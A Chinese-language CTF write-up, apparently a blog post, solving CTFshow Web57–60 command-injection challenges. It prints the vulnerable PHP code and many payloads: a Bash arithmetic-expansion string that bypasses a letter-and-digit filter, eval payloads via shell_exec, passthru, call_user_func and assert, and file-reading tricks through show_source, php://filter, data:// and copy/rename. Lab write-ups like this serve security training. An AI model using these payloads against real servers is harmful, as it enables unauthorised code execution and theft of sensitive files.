本篇文章介绍命令执行的另一种情况,CTFshow的Web57-60关的讲解解析;要想了解其它关卡可查看我以往的文章,感谢关注。
文章目录
- Web57(新方法)
- Web58(POST型)
- 不可用函数
- 可用函数
- Web59
- 第二种方法:
- 第三种方法:
- 第四种方法:
- Web60
- 其他方法:
- 总结
Web57(新方法)
还是老样子,先看代码:
<?php// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}
看到代码,可以想到的第一思路:
- 首先肯定还是通过
[@-[]
等来匹配flag.php文件- 其次我们看到
system("cat ".$c.".php");
,知道我们传入的参数是否可以只匹配flag,而不用写其他部分?
但是正则表达又过滤了字母和数字,这又该如何弄?
这里我尝试过通过Web55关的条件竞争方法,发现无法成功:
没有办法,只能参照别人的WP(本人菜鸡,唉~):
我们根据题目知道flag in 36.php里,所以我们的想法就是如何构造数字36:
-
知识点:
-
要通过
$(())
来表示 36,你需要利用 Shell 的算术扩展特性。在 Bash 中,$((...))
是一个算术扩展命令,它可以进行数学运算 -
通过(())操作构造出36:‘(())操作构造出36: `(())操作构造出36:‘(())` :代表做一次运算,因为里面为空,也表示值为0
-
$(( ~$(()) ))
:对0作取反运算,值为-1 -
$(( $((~$(()))) $((~$(()))) ))
: -1-1,也就是(-1)+(-1)为-2,所以值为-2 -
$(( ~$(( $((~$(()))) $((~$(()))) )) ))
:再对-2做一次取反得到1,所以值为1
-
故我们在(((( ~(( (( )) ))里面放37个((((~(( (()))),得到-37,取反即可得到36:
所以payload为:
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
再对其进行取反得到 36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
(第一次遇到,没想到也不用气馁)
Web58(POST型)
还是老样子,先观察代码:
<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
惊喜吧,一看题目,小笔噶,那肯定是没啥难度;
换了个请求方式而已,但是尝试后发现不简单:
# 这里尝试几个简单payload,发现竟然都被过滤了?
c=echo shell_exec('cat flag.php');
c=system(ls);
然后我尝试了一下,发现被过滤的函数有:
echo shell_exec();
echo exec();
system();
passthru()
他们常见用法,简单展示下:
不可用函数
当 system()
和 exec()
这类常见的命令执行函数被禁用时,攻击者会转而使用其他函数来间接执行命令。
-
shell_exec() 与反引号
shell_exec() 和反引号
的作用相同,它们都执行 Shell 命令并返回所有输出,但不会直接打印到页面上。你需要使用 echo 来显示其结果。-
Payload (使用 shell_exec): c=echo shell_exec(‘whoami’);
-
Payload (使用反引号): c=echo whoami;
-
-
passthru()
passthru() 函数的作用是执行外部命令并直接将原始输出传递给浏览器。它不返回任何值,因此无需使用 echo。- Payload: c=passthru(‘whoami’);
-
call_user_func()
和array_map()
这些函数可以调用一个以字符串形式给出的函数名。这是一种非常常见的绕过方式,因为它们本身不是命令执行函数。-
Payload (使用 call_user_func): c=call_user_func(‘system’, ‘ls -al’);
-
Payload (使用 array_map): c=array_map(‘passthru’, array(‘ls -al’));
-
-
assert()
在旧版本的 PHP 中(PHP 7.0 之前),assert() 函数可以执行一个字符串中的代码。它常被用作 eval() 的替代品。- Payload: c=assert(‘system(“ls -al”);’);
可用函数
然后发现show_source()
等函数也可以使用:具体使用看这篇博客:
无需命令执行的利用方法
如果所有的命令执行函数(如 system、exec、shell_exec、passthru 等)都被禁用,你仍然可以通过文件操作函数来读取敏感文件,例如 flag.php。
file_get_contents()
这个函数可以读取文件的全部内容并将其作为一个字符串返回。
Payload: c=echo file_get_contents(‘flag.php’);
readfile()
这个函数会直接读取文件并将其内容输出到页面,非常适合用于读取文本文件。
Payload: c=readfile(‘flag.php’);
highlight_file()
highlight_file() 函数会显示一个文件的内容,并高亮显示其中的 PHP 语法,这对于查看代码非常有用。
Payload: c=highlight_file(‘flag.php’);
总结:
# payload
c=echo file_get_contents('flag.php');
c=readfile('flag.php');
c=highlight_file('flag.php');
结果显示:
# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo file_get_contents('flag.php');
c=readfile('flag.php');
c=highlight_file('flag.php');
# 新payload
c=print_r(file("flag.php"));
–
Web59
<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
尝试上关的payload后,发现也过滤了不少函数:file_get_contents(),readfile(),highlight_file()
# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
除此之外,还有哪些方法?
第二种方法:
可以直接将 php 代码传给 eval 函数让其执行,构造 payload:
# 伪协议
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
第三种方法:
还是用老方法,cp到新文件,然后访问:
c=copy("flag.php","out1.txt");
第四种方法:
rename
函数:
- 通过将 flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多
c=rename("flag.php","out2.txt");
题目变化还是多种多样的;
Web60
老样子,变化不大:
<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
所以payload还是那样,直接上:
# 可用payload
c=show_source("flag.php");
c=show_source(next(array_reverse(scandir(pos(localeconv())))));# 伪协议
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
其他方法:
copy()
函数:c=copy(“flag.php”,“out1.txt”);rename
函数:c=rename(“flag.php”,“out2.txt”);
总结
明天给大家写一篇应急响应或者渗透测试的文章,等我今晚准备准备。